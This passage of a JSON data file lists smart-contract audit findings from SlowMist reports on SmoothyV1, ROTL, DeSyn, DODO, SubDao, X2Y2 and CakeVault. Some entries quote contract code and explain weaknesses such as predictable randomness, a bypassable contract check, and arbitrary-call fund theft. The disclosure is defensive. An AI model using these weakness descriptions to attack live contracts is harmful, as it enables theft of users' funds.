tokens, the project party should check whether its writing complies with EIP20 specifications. ", + "labels": [ + "SlowMist", + "SmoothyV1", + "Severity: Informational" + ] + }, + { + "title": "4.3.4.5 Token compatibility issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SmoothyV1_en-us.pdf", + "body": "In the SmoothyV1 contract, under the condition that each pool is stable, the exchange operation will be performed in a 1:1 manner. However, if the project is connected to a stable rebase algorithm, the number of tokens in the pool will be changed when it undergoes deflation, resulting in an unexpected 18 number of users during the exchange. Fix suggestion: It is suggested to strictly evaluate the algorithm model of stablecoins to avoid this risk when accessing stablecoins. ", + "labels": [ + "SlowMist", + "SmoothyV1", + "Severity: Informational" + ] + }, + { + "title": "Excessive authority issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ROTL_en-us.pdf", + "body": "In the ROTL contract, the DEFAULT_ADMIN_ROLE can set the minter role, the minter role can mint ERC721A tokens arbitrarily and the minter role is entitled to free mint without going through each rounds. 11 ", + "labels": [ + "SlowMist", + "ROTL", + "Type: Authority Control Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Pausable is not implemented", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ROTL_en-us.pdf", + "body": "In the ROLTMint contract, it heritates the Pausable contract, but there is no pause and unpause function implemented. That means the value ot the _paused is false and can not be changed. Which will impact the __isEnable function and whenNotPaused modier. ", + "labels": [ + "SlowMist", + "ROTL", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Missing event record", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ROTL_en-us.pdf", + "body": "1.In the ROTLMint contract, the owner role can set the _nft, _merkleRoot, _currentRound, price, maxCount, onceMaxCount, addressMaxCount, and startBlock values through the setAddress, setMerkleRoot, setRound, and setRoundInfo functions. But there are no no events logging performed. ", + "labels": [ + "SlowMist", + "ROTL", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Dev address setting enhancement suggestion 14", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ROTL_en-us.pdf", + "body": "In the ROTLMint contract, the owner role can withdraw the native token through the withdraw function. If the owner is an EOA address, in a scenario where the private key is leaked, the teams revenue will be stolen. ", + "labels": [ + "SlowMist", + "ROTL", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Variable not used", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ROTL_en-us.pdf", + "body": "In the ROLT contract, the contract dened the _mintContractAddress and _revealIndex value. But these two values are not assigned and can not be set. ", + "labels": [ + "SlowMist", + "ROTL", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Potential risks of approving denial of service", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn - Restaking - SlowMist Audit Report.pdf", + "body": "In the invest function, when the user passes in a rawToken that is neither NATIVE_TOKEN nor _WST_ETH token, the contract will call the user-provided depositor to execute custom user data. Prior to this, the contract approves the user's transferred funds to the depositor using the safeApprove function. It is important to note that the safeApprove function requires either the current approved amount to be 0 or the current allowance of the contract to the depositor to be 0 in order to safely approve; otherwise, it will revert. If a malicious user intentionally does not use up all the allowance during the depositor call, when the protocol attempts to execute safeApprove for this rawToken again, it will revert. This will cause a denial of service for some of the contract's functionality. ", + "labels": [ + "SlowMist", + "DeSyn - Restaking - SlowMist Audit Report", + "Type: Denial of Service Vulnerability", + "Severity: High" + ] + }, + { + "title": "Accidentally transferred funds that can be stolen", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn - Restaking - SlowMist Audit Report.pdf", + "body": "In the invest function, when the user-specied rawToken is neither NATIVE_TOKEN nor _WST_ETH, the contract directly calls the depositor contract to execute user-specied data. When other users accidentally transfer rawTokens into the Restaking contract and the Restaking contract still has a remaining allowance for the depositor, these other users can deposit the accidentally transferred tokens into the depositor as their own prot. It is obvious that the project team can also transfer out the erroneously transferred assets in the contract by approving a specic depositor. ", + "labels": [ + "SlowMist", + "DeSyn - Restaking - SlowMist Audit Report", + "Type: Others", + "Severity: Information" + ] + }, + { + "title": "Risk of user assets being stolen due to arbitrary execution of data", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn - Restaking - SlowMist Audit Report.pdf", + "body": "In the invest function, when the user-specied rawToken is neither NATIVE_TOKEN nor _WST_ETH, the contract directly calls the depositor contract to execute user-specied data. It is important to note that in some restaking protocols (such as stETH and pufETH), the deposit, borrowing, and token transfer interfaces are in the same contract. Taking pufETH as an example, users can call the pufETH contract to make deposits and obtain pufETH tokens, and they can also call the pufETH contract to transfer pufETH tokens. Therefore, although the legality of the depositor is checked in the invest function, the restakingParams.data passed in by the user is not checked. This allows users to call the transferFrom function of the LST/LRT contract via restakingParams.depositor.functionCallWithValue to transfer tokens of any user who has already approved this contract. ", + "labels": [ + "SlowMist", + "DeSyn - Restaking - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Decimal problems in share calculation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn - Restaking - SlowMist Audit Report.pdf", + "body": "In the invest function, when a user completes a restaking operation, the contract deposits the restaking tokens into the user-specied ETF and transfers the ETF LP to the user. Prior to this, the contract calculates the amount of ETF LP the user can obtain when joining the pool through _calculateShare . It is important to note that if the user's deposit amount is relatively small, due to decimal errors during calculation, the amount of LP obtained during the joinPool operation may be 1 wei more than the amount calculated by _calculateShare . However, this does not aect the normal business logic of the protocol. ", + "labels": [ + "SlowMist", + "DeSyn - Restaking - SlowMist Audit Report", + "Type: Arithmetic Accuracy Deviation Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Issues where issueFee maybe 0", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn - Restaking - SlowMist Audit Report.pdf", + "body": "In the _calculateShare function, it calculates the amount of LP that can be obtained based on the amount of tokens that need to be deposited into the ETF. In this process, it considers the minting fee charged when depositing into the ETF. However, it is important to note that if the user-specied ETF is closed-ended and the current isCompletedCollect state is false, the ETF will waive the minting fee for the depositor. This will cause the share calculated by the _calculateShare function to be smaller than expected, ultimately resulting in some funds remaining in the Restaking contract and not being deposited into the ETF. ", + "labels": [ + "SlowMist", + "DeSyn - Restaking - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Wrong slippage check issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cook Index_en-us.pdf", + "body": "In the IssuanceModule contract, the _createTradeInfo function is used to create a structure containing trade data. Among them, it will obtain the thresholdAmounts parameter oset by slippage through the getMinAmountsOut function and the getMaxAmountsIn function. After the trade data is created, the trade operation will be executed 8 through the _executeTrade function, which will use the thresholdAmounts parameter as the minimum amounts to receive for trading on uniswap. However, since slippage check and trade execution are carried out in the same transaction, the thresholdAmounts parameter will still be aected by the last swap transaction of uniswap. Therefore, the slippage check cannot play a protective role. ", + "labels": [ + "SlowMist", + "Cook Index", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Logical redundancy issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cook Index_en-us.pdf", + "body": "In the VesperWrapAdapter contract, getSpenderAddress is used to obtain the source token address of the wrap token, but the actual function logic directly returns the passed _wrappedToken parameter. This seems to be dierent from what the function comments indicate. ", + "labels": [ + "SlowMist", + "Cook Index", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of external calls 11", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cook Index_en-us.pdf", + "body": "There are a large number of external calls in the IssuanceModule contract, but the external call part is not within the scope of this audit. It is necessary to pay attention to the unknown risks of external calls.", + "labels": [ + "SlowMist", + "Cook Index", + "Type: Unsafe External Call Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Random can be predicted issue 15", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DODO-MiningV3 and NFT_en-us.pdf", + "body": "The random number is uncertain when buying a ticket. However, there is no separate operation of using the redeeming tickets and determining the random number when redeeming tickets, and there is an issue that the random number can be predicted. https://github.com/DODOEX/contractV2/blob/453e323af6/contracts/DODODrops/DODODropsV2/DODODro ps.sol#L114 function buyTickets(address ticketTo, uint256 ticketAmount) payable external preventReentrant { (uint256 curPrice, uint256 sellAmount, uint256 index) = getSellingInfo(); require(curPrice > 0 && sellAmount > 0, \"CAN_NOT_BUY\"); require(ticketAmount <= sellAmount, \"TICKETS_NOT_ENOUGH\"); (uint256 payAmount, uint256 feeAmount) = IDropsFeeModel(_FEE_MODEL_).getPayAmount(address(this), ticketTo, curPrice, ticketAmount); require(payAmount > 0, \"UnQualified\"); uint256 baseBalance = IERC20(_BUY_TOKEN_).universalBalanceOf(address(this)); uint256 buyInput = baseBalance.sub(_BUY_TOKEN_RESERVE_); require(payAmount <= buyInput, \"PAY_AMOUNT_NOT_ENOUGH\"); _SELLING_AMOUNT_SET_[index] = sellAmount.sub(ticketAmount); _BUY_TOKEN_RESERVE_ = baseBalance.sub(feeAmount); IERC20(_BUY_TOKEN_).universalTransfer(_MAINTAINER_,feeAmount); _mint(ticketTo, ticketAmount); emit BuyTicket(ticketTo, payAmount, feeAmount, ticketAmount); } The owner determines the value of _REVEAL_RN_ by calling the setRevealRn function. The value of _REVEAL_RN_ will affect the result of the random number. https://github.com/DODOEX/contractV2/blob/453e323af6/contracts/DODODrops/DODODropsV2/DODODro ps.sol#L229 function setRevealRn() external onlyOwner { require(_REVEAL_RN_ == 0, \"ALREADY_SET\"); 16 _REVEAL_RN_ = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1)))); emit SetReveal(); } The value of random is related to _REVEAL_RN_ , msg.sender , balanceOf(msg.sender) and curNo in REVEAL_MODE mode when users use wallets for transactions. Attackers can generate addresses and balances values to control the random number. In non-REVEAL_MODE mode, the value of random is related to _RNG_ , block.number , and gasleft . The attackers can sort transactions through pre-execution or in cooperation with miners. In this way, they can manipulate block.number and gasleft to control random numbers. https://github.com/DODOEX/contractV2/blob/453e323af6/contracts/DODODrops/DODODropsV2/DODODro ps.sol#L154-L159 function _redeemSinglePrize(address to, uint256 curNo, address referer) internal { require(block.timestamp >= _REDEEM_ALLOWED_TIME_ && _REDEEM_ALLOWED_TIME_ != 0, \"REDEEM_CLOSE\"); uint256 range; if(_IS_PROB_MODE_) { range = _PROB_INTERVAL_[_PROB_INTERVAL_.length - 1]; }else { range = _TOKEN_ID_LIST_.length; } uint256 random; if(_IS_REVEAL_MODE_) { require(_REVEAL_RN_ != 0, \"REVEAL_NOT_SET\"); random = uint256(keccak256(abi.encodePacked(_REVEAL_RN_, msg.sender, balanceOf(msg.sender).add(curNo + 1)))) % range; }else { random = IRandomGenerator(_RNG_).random(gasleft() + block.number) % range; } uint256 tokenId; if(_IS_PROB_MODE_) { uint256 i; for (i = 0; i < _PROB_INTERVAL_.length; i++) { if (random <= _PROB_INTERVAL_[i]) { break; } } require(_TOKEN_ID_MAP_[i].length > 0, \"EMPTY_TOKEN_ID_MAP\"); 17 tokenId = _TOKEN_ID_MAP_[i][random % _TOKEN_ID_MAP_[i].length]; IDropsNft(_NFT_TOKEN_).mint(to, tokenId, 1, \"\"); } else { tokenId = _TOKEN_ID_LIST_[random]; if(random != range - 1) { _TOKEN_ID_LIST_[random] = _TOKEN_ID_LIST_[range - 1]; } _TOKEN_ID_LIST_.pop(); IDropsNft(_NFT_TOKEN_).mint(to, tokenId); } emit RedeemPrize(to, tokenId, referer); }", + "labels": [ + "SlowMist", + "DODO-MiningV3 and NFT", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "isContract can be bypassed", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DODO-MiningV3 and NFT_en-us.pdf", + "body": "When redeeming tickets isContract is used to determine whether the caller msg.sender is a contract. The contract is not allowed to be called, but the implementation of this check has flaws and can be bypassed. https://github.com/DODOEX/contractV2/blob/453e323af6/contracts/DODODrops/DODODropsV2/DODODro ps.sol#L135 18 function redeemTicket(uint256 ticketNum, address referer) external { require(!address(msg.sender).isContract(), \"ONLY_ALLOW_EOA\"); require(ticketNum >= 1 && ticketNum <= balanceOf(msg.sender), \"TICKET_NUM_INVALID\"); _burn(msg.sender,ticketNum); for (uint256 i = 0; i < ticketNum; i++) { _redeemSinglePrize(msg.sender, i, referer); } } https://github.com/DODOEX/contractV2/blob/453e323af6/contracts/external/utils/Address.sol#L27 function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; }", + "labels": [ + "SlowMist", + "DODO-MiningV3 and NFT", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Excessive authority issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DODO-MiningV3 and NFT_en-us.pdf", + "body": "The owner can control the source of the seed of the random number. The seed of the random number will affect the value of the random number and affect the probability of redeeming the ticket. 19 https://github.com/DODOEX/contractV2/blob/453e323af6/contracts/DODODrops/DODODropsV2/DODODro ps.sol#L227 function setRevealRn() external onlyOwner { require(_REVEAL_RN_ == 0, \"ALREADY_SET\"); _REVEAL_RN_ = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1)))); emit SetReveal(); } The owner can change the value of _RNG_ , which will affect the random number of the redemption ticket if it is not REVEAL_MODE. https://github.com/DODOEX/contractV2/blob/453e323af6/contracts/DODODrops/DODODropsV2/DODODro ps.sol#L259 function updateRNG(address newRNG) external onlyOwner { require(newRNG != address(0)); _RNG_ = newRNG; emit ChangeRNG(newRNG); } The owner can transfer _REWARD_TOKEN_ to any address. The current design framework Owner address will be sent to the address of the Mine contract. https://github.com/DODOEX/contractV2/blob/c7202eeae7/contracts/DODOToken/DODOMineV3/RewardVau lt.sol#L38-L49 function reward(address to, uint256 amount) external onlyOwner { require(_REWARD_RESERVE_ >= amount, \"VAULT_NOT_ENOUGH\"); _REWARD_RESERVE_ = _REWARD_RESERVE_.sub(amount); IERC20(_REWARD_TOKEN_).safeTransfer(to, amount); } function withdrawLeftOver(address to,uint256 amount) external onlyOwner { require(_REWARD_RESERVE_ >= amount, \"VAULT_NOT_ENOUGH\"); 20 _REWARD_RESERVE_ = _REWARD_RESERVE_.sub(amount); IERC20(_REWARD_TOKEN_).safeTransfer(to, amount); } The owner can mint tokens for any user and burn any user's tokens. https://github.com/DODOEX/contractV2/blob/c7202eeae7/contracts/external/ERC20/CustomERC20.sol#L12 3-L138 function mint(address user, uint256 value) external onlyOwner { require(isMintable, \"NOT_MINTABEL_TOKEN\"); balances[user] = balances[user].add(value); totalSupply = totalSupply.add(value); emit Mint(user, value); emit Transfer(address(0), user, value); } function burn(address user, uint256 value) external onlyOwner { require(isMintable, \"NOT_MINTABEL_TOKEN\"); balances[user] = balances[user].sub(value); totalSupply = totalSupply.sub(value); emit Burn(user, value); emit Transfer(user, address(0), value); } The owner can update the template contract. If an unaudited template contract is updated, this will affect the assets of the new user in the newly created contract. https://github.com/DODOEX/contractV2/blob/c7202eeae7/contracts/SmartRoute/proxies/DODOMineV3Prox y.sol#L128 function updateMineV2Template(address _newMineV3Template) external onlyOwner { _MINEV3_TEMPLATE_ = _newMineV3Template; } https://github.com/DODOEX/contractV2/blob/7e629d0e58/contracts/Factory/ERC20V2Factory.sol 21 function updateStdTemplate(address newStdTemplate) external onlyOwner { _ERC20_TEMPLATE_ = newStdTemplate; emit ChangeStdTemplate(newStdTemplate); } function updateCustomTemplate(address newCustomTemplate) external onlyOwner { _CUSTOM_ERC20_TEMPLATE_ = newCustomTemplate; emit ChangeCustomTemplate(newCustomTemplate); }", + "labels": [ + "SlowMist", + "DODO-MiningV3 and NFT", + "Type: Authority Control Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "The DoS risk", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DODO-MiningV3 and NFT_en-us.pdf", + "body": "Use a for loop to traverse the array. If the number of loops is large, it will cause an out of gas. After communication and feedback, the project team will ensure that the number of rewardTokenInfos will not be too much. 22 https://github.com/DODOEX/contractV2/blob/c7202eeae7/contracts/DODOToken/DODOMineV3/BaseMine.s ol#L258 function _updateAllReward(address user) internal { uint256 len = rewardTokenInfos.length; for (uint256 i = 0; i < len; i++) { _updateReward(user, i); } }", + "labels": [ + "SlowMist", + "DODO-MiningV3 and NFT", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Event log missing", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DODO-MiningV3 and NFT_en-us.pdf", + "body": "The owner can arbitrarily set an external contract address as a template contract. When a user creates a new contract, it will be created based on the template contract. After creation, the asset needs to be recharged to the new contract. There is no event record, which is unfavorable for review by community users. https://github.com/DODOEX/contractV2/blob/c7202eeae7/contracts/SmartRoute/proxies/DODOMineV3Prox y.sol#L128 function updateMineV2Template(address _newMineV3Template) external onlyOwner { _MINEV3_TEMPLATE_ = _newMineV3Template; } The owner can modify the configuration of the contract, but there is no event record, which is unfavorable for review by community users. 23 https://github.com/DODOEX/contractV2/blob/c7202eeae7/contracts/Factory/Registries/DODOMineV3Registr y.sol#L87-L101 function addAdminList (address contractAddr) external onlyOwner { isAdminListed[contractAddr] = true; } function removeAdminList (address contractAddr) external onlyOwner { isAdminListed[contractAddr] = false; } function addSingleTokenList(address token) external onlyOwner { singleTokenList[token] = true; } function removeSingleTokenList(address token) external onlyOwner { singleTokenList[token] = false; }", + "labels": [ + "SlowMist", + "DODO-MiningV3 and NFT", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Check enhancement of isLpToken", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DODO-MiningV3 and NFT_en-us.pdf", + "body": "Admin can add non-LPtoken assets but isLpToken is True, or belong to LPtoken assets but isLpToken is False Pool, which will affect the actual business logic. This part of the inspection is not implemented in the contract. https://github.com/DODOEX/contractV2/blob/c7202eeae7/contracts/Factory/Registries/DODOMineV3Registr y.sol#L44 function addMineV3( address mine, 24 bool isLpToken, address stakeToken ) override external { require(isAdminListed[msg.sender], \"ACCESS_DENIED\"); _MINE_REGISTRY_[mine] = stakeToken; if(isLpToken) { _LP_REGISTRY_[stakeToken] = mine; }else { require(_SINGLE_REGISTRY_[stakeToken].length == 0 || singleTokenList[stakeToken], \"ALREADY_EXSIT_POOL\"); _SINGLE_REGISTRY_[stakeToken].push(mine); } emit NewMineV3(mine, stakeToken, isLpToken); }", + "labels": [ + "SlowMist", + "DODO-MiningV3 and NFT", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Security reminder on architecture design", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DODO-MiningV3 and NFT_en-us.pdf", + "body": "createStdERC20 and createMintableERC20 are open-ended calls. The user creates a contract using the createStdERC20 function to record the created information in _USER_STD_REGISTRY_ , and then can get the information through getTokenByUser. Because it is an open call, it is not recommended to use the data obtained by getTokenByUser. As input for other businesses, after communication and feedback, the project party will not rely on the data obtained by getTokenByUser in the business logic of the project. https://github.com/DODOEX/contractV2/blob/c7202eeae7/contracts/Factory/ERC20V2Factory.sol#L72-L123 function createStdERC20( uint256 totalSupply, string memory name, 25 string memory symbol, uint256 decimals ) external returns (address newERC20) { newERC20 = ICloneFactory(_CLONE_FACTORY_).clone(_ERC20_TEMPLATE_); IStdERC20(newERC20).init(msg.sender, totalSupply, name, symbol, decimals); _USER_STD_REGISTRY_[msg.sender].push(newERC20); emit NewERC20(newERC20, msg.sender, 0); } function createCustomERC20( uint256 initSupply, string memory name, string memory symbol, uint256 decimals, uint256 tradeBurnRatio, uint256 tradeFeeRatio, address teamAccount, bool isMintable ) external returns (address newCustomERC20) { newCustomERC20 = ICloneFactory(_CLONE_FACTORY_).clone(_CUSTOM_ERC20_TEMPLATE_); ICustomERC20(newCustomERC20).init( msg.sender, initSupply, name, symbol, decimals, tradeBurnRatio, tradeFeeRatio, teamAccount, isMintable ); _USER_CUSTOM_REGISTRY_[msg.sender].push(newCustomERC20); if(isMintable) emit NewERC20(newCustomERC20, msg.sender, 2); else emit NewERC20(newCustomERC20, msg.sender, 1); } // ============ View ============ function getTokenByUser(address user) external 26 view returns (address[] memory stds,address[] memory customs) { return (_USER_STD_REGISTRY_[user], _USER_CUSTOM_REGISTRY_[user]); }", + "labels": [ + "SlowMist", + "DODO-MiningV3 and NFT", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Pages calculation issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SubDao_en-us.pdf", + "body": "In the DaoFactory contract, calculatePages is used to calculate the start index and end index of a page. The size, start index and end index are checked in the function size <= 0 || start >= total || start < end , but in fact, size should not be less than 0, and start should not be greater than total. ", + "labels": [ + "SlowMist", + "SubDao", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Missing event records", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SubDao_en-us.pdf", + "body": "In the DaoTemplate contract, the user can modify the actionCong parameter through the setActionCong function, but no event recording is performed. The same is true for the setActionCong function in the VentureTemplate contract. The same is true for the setCanFreeAddMember, transferOwner and updateOwnership functions in the OrgManager contract. ", + "labels": [ + "SlowMist", + "SubDao", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Owner update issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SubDao_en-us.pdf", + "body": "In the DaoTemplate contract, the owner can update the owner of all components through the updateOwnership function. But it calls the updateOwnership interface of the templateCong contract by mistake. The same is true for the updateOwnership function in the VentureTemplate contract. ", + "labels": [ + "SlowMist", + "SubDao", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "State Coverage Risk", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SubDao_en-us.pdf", + "body": "In the GrantMethodManager contract, DaoTemplate can operate the applyOp and setUserOpByOwner functions through the action contract. Since the parameters it receives are all passed in from the outside, if the incoming data is repeated, the encoded key will be repeated, which will cause the existing data to be overwritten. ", + "labels": [ + "SlowMist", + "SubDao", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "TODO label issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SubDao_en-us.pdf", + "body": "There is still a TODO label in the spendTokenInLimit function of the GrantMethodManager contract. Is there still a function not perfect? The same is true for the _unsafeCancelVote function in the VoteManager contract. ", + "labels": [ + "SlowMist", + "SubDao", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Length check issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SubDao_en-us.pdf", + "body": "The initialize function exists in the VenturesStockManager , VenturesManager and GovTokenManager contracts to initialize the contract according to the incoming parameters. It checks the byte length of the incoming parameter, but because some parameters are variable-length data, forcing an equals check will lead to unsuccessful initialization. ", + "labels": [ + "SlowMist", + "SubDao", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Vote check issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SubDao_en-us.pdf", + "body": "In the VoteManager contract, the _canExecute function is used to check whether the proposal can be executed, but it does not check whether the number of yes votes is greater than the number of negative votes. ", + "labels": [ + "SlowMist", + "SubDao", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Cancel voting issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SubDao_en-us.pdf", + "body": "29 In the VoteManager contract, the _canCancel function user checks whether the current vote can be cancelled. If the voting period for a proposal has passed, but the execution conditions are still not met, the proposal cannot be executed or cancelled. ", + "labels": [ + "SlowMist", + "SubDao", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Risk of Governance Attacks", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SubDao_en-us.pdf", + "body": "DAO members can create new proposals through ActionVoteNew , ActionGrantMethodRegister , ActionVoteTransferPeriodRegister and other contracts. However, the proposal does not contain the data that needs to be executed. After the proposal is passed, the community members will pass in the specic execution data for execution. If malicious data is passed in, there is a risk that the protocol will be maliciously broken during proposal execution.", + "labels": [ + "SlowMist", + "SubDao", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Potential Fund Theft Risk", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SubDao_en-us.pdf", + "body": "As mentioned in N12, when a DAO member creates an Operation through ActionGrantMethodRegister, the user's specic execution data is not recorded in the newVote operation. Although registerOp records the extra data passed in by the user, it is not used op_.extra in actual execution. Therefore, the user can pass in valid execution data when performing the registerOp operation. And malicious data is passed in during the ActionVaultUniswapV2Router02Swap operation. This will result in funds managed by the DAO being approved for malicious router contracts, or swapping through extremely illiquid pools, allowing malicious users to easily arbitrage. This would create huge risks for DAOs. The same is true in the ActionVaultUniswapV2SwapToken contract. ", + "labels": [ + "SlowMist", + "SubDao", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Lack of access control", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SubDao_en-us.pdf", + "body": "In the VenturesManager contract, the gpRaiseMoney and lpRaiseMoney functions are not restricted to be called by the owner. ", + "labels": [ + "SlowMist", + "SubDao", + "Type: Authority Control Vulnerability", + "Severity: High" + ] + }, + { + "title": "Period transfer issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SubDao_en-us.pdf", + "body": "In the ActionVoteTransferPeriodApply contract, when performing a period transfer, the period will be obtained through the transferPeriodStates function of the VoteExecutionManager contract, and then the period will be transferred through the transferVenturePeriod function of the VenturesManager contract. But in the current action, period is directly transferred to SettlementPeriod. ", + "labels": [ + "SlowMist", + "SubDao", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - X2Y2 - NFT Lending_en-us.pdf", + "body": "1.In the Cong contract, the owner role can add manager role and can update the adminShare, and the manager role can set or remove the ERC20 and ERC721 tokens through the setERC20Permits and setERC721Permits functions. If the ERC20 and ERC721 on the loan list, the manager sets these permit as false may cause the risk of excessive authority. ", + "labels": [ + "SlowMist", + "X2Y2 - NFT Lending", + "Type: Authority Control Vulnerability", + "Severity: High" + ] + }, + { + "title": "Token compatibility issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - X2Y2 - NFT Lending_en-us.pdf", + "body": "In the XY3 contract, the lender will transfer the ERC20 token to the borrower in the borrow function also to the lender and adminFeeReceiver in the repay function. And this transfer is used the SafeER20 safeTransferFrom function and transfer the exact amount of the borrowAmount, payoAmount and adminFee. If the borrowAsset ERC20 tokens are the deationary tokens (or other tokens that require a transfer fee) which will cause the call failed. ", + "labels": [ + "SlowMist", + "X2Y2 - NFT Lending", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Dev address setting enhancement suggestions", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - X2Y2 - NFT Lending_en-us.pdf", + "body": "In the Cong contract, the manager role can update the adminFeeReceiver in the updateAdminFeeReceiver function to receive the adminFee. If the adminFeeReceiver address is an EOA address, in a scenario where the private key is leaked, the teams revenue will be stolen. ", + "labels": [ + "SlowMist", + "X2Y2 - NFT Lending", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "The deationary token docking issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - CakeVault_en-us.pdf", + "body": "Users can transfer the cake token into the vault contract through the deposit function. Under normal circumstances, the number of staking tokens transferred by the user is the same as the _amount parameter passed in. But if the staking token is a deationary token, the number of tokens transferred by the user may be dierent from the number of tokens actually received in the contract. ", + "labels": [ + "SlowMist", + "CakeVault", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "CakeAtLastUserAction parameter record error issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - CakeVault_en-us.pdf", + "body": "In the Vault contract, the user can withdraw the funds staked by the user through the withdraw function. If the user does not withdraw all funds (user.shares> 0), this function will recalculate the user's cakeAtLastUserAction value. In the calculation process, the number of cake tokens 